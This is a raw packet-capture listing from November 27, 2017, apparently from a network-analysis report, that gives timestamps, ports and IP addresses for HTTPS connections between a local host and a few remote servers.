Nov 27, 2017 12:34:53.312325954 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.312331915 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.312397003 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.312426090 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.312454939 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:53.312485933 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.313127041 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:53.314935923 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:53.320281982 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.320291042 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.320581913 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:53.323848963 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:53.327722073 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.327748060 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.327756882 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.327913046 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:53.328310013 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:53.344361067 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.344386101 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.344391108 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.344512939 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:53.349390030 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.349415064 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.349420071 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.349510908 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:53.350442886 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:53.350487947 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:53.350922108 CET	49171	443	192.168.1.91	154.35.175.225
Nov 27, 2017 12:34:53.350960016 CET	443	49171	154.35.175.225	192.168.1.91
Nov 27, 2017 12:34:53.351640940 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.351654053 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.351669073 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.351758003 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:53.356674910 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.356697083 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.356987953 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:53.360470057 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.360492945 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.360502005 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.360610962 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:53.364253998 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.364279032 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.364288092 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.364444017 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:53.373737097 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.373764992 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.373774052 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.374170065 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:53.385154009 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.385189056 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.385207891 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.385412931 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:53.387029886 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.388092041 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.388114929 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.388261080 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:53.388307095 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.398595095 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.398629904 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.398832083 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:53.398883104 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.409359932 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.409380913 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.409437895 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.409446955 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.409452915 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.409539938 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:53.409563065 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.422225952 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.422276020 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.422477007 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:53.422504902 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.446890116 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.446929932 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.447130919 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:53.447154045 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.447819948 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.447839975 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.447943926 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:53.447961092 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.450390100 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.451683044 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:53.451700926 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.452874899 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.452893019 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.452977896 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:53.452996016 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.457480907 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.457504034 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.457626104 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:53.457643032 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.474358082 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.474395990 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.474539995 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:53.474565983 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.483927965 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.483944893 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.484081030 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:53.484108925 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.485275030 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.485289097 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.485373020 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:53.485393047 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.485795021 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:53.501106977 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.501136065 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.501255989 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:53.501281977 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.514703035 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.514731884 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.514906883 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:53.514933109 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.534970045 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:53.541574955 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.541599035 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.541609049 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.541697025 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:53.545698881 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.548078060 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.548110008 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.548166990 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:53.548188925 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.553612947 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:53.553636074 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.557749987 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.557765007 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.558029890 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:53.558043957 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.559844971 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.559885025 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.560199022 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:53.560220957 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.561878920 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:53.567884922 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:53.570692062 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.600157976 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.600241899 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.600720882 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:53.600739002 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.601279974 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:53.602060080 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.602089882 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.602116108 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.602412939 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:53.609467983 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.618654966 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.618683100 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.618818998 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:53.618844986 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.620455980 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.620470047 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.620810032 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:53.620830059 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.643433094 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.643460989 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.643537045 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:53.643560886 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.648168087 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.648190975 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.648332119 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:53.648372889 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.660590887 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.660618067 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.660624981 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.660866976 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:53.660896063 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.663513899 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.663539886 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.663757086 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:53.663777113 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.670531034 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.670555115 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.670562983 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.670747042 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:53.670773029 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.671308994 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.671325922 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.671407938 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:53.671432972 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.679419994 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.679451942 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.679461002 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.679526091 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:53.679553032 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.680128098 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.680151939 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.680265903 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:53.680289984 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.686903000 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.686928988 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.687294006 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:53.687330961 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.688760996 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.688788891 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.689318895 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:53.689347029 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.694802046 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.694911957 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:53.694940090 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.695787907 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.695806026 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.696132898 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:53.696151972 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.707328081 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.707362890 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.707763910 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:53.707792044 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.710876942 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.710923910 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.710988045 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:53.711018085 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.712922096 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.712943077 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.713295937 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:53.713325977 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.715249062 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.715271950 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.715696096 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:53.715724945 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.718321085 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.718354940 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.718413115 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:53.718441010 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.721559048 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.721688986 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:53.721718073 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.723148108 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.723161936 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.723546982 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:53.723567009 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.724853039 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.725039005 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:53.725060940 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.727288961 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.727315903 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.727667093 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:53.727694988 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.734416962 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.734437943 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.734519958 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:53.734541893 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.739254951 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.739289045 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.739382029 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:53.739403009 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.741467953 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.741497993 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.741878986 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:53.741909027 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.746507883 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.746550083 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.746644020 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:53.746675968 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.748805046 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.748835087 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.749236107 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:53.749264956 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.758979082 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.759042978 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.759459972 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:53.759504080 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.763103962 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.763139009 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.763463020 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:53.763501883 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.768800974 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.768887997 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:53.768920898 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.784365892 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.784399986 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.784543991 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:53.784571886 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.794848919 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.794879913 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.795747995 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:53.795777082 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.802006960 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.802051067 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.803930998 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:53.803976059 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.811088085 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.811120033 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.811208963 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:53.811254025 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.820184946 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.820215940 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.820303917 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:53.820327997 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.821276903 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.821293116 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.821460009 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:53.821480036 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.833870888 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.833898067 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.834080935 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:53.834120035 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.845710993 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.845741987 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.845748901 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.847843885 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:53.847897053 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.858133078 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.858164072 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.858367920 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:53.858417034 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.860199928 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.860390902 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:53.860430002 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.867410898 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.867439032 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.867858887 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:53.867894888 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.874558926 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.874583006 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.874973059 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:53.875006914 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.879013062 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.879036903 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.879219055 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:53.879259109 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.881625891 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.881643057 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.881818056 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:53.881851912 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.889122009 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.889146090 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.889281988 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:53.889323950 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.899772882 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.899815083 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.899957895 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:53.899997950 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.902540922 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.902714014 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:53.902753115 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.905787945 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.905940056 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:53.905981064 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.907047987 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:53.907066107 CET	443	49167	192.30.253.121	192.168.1.91
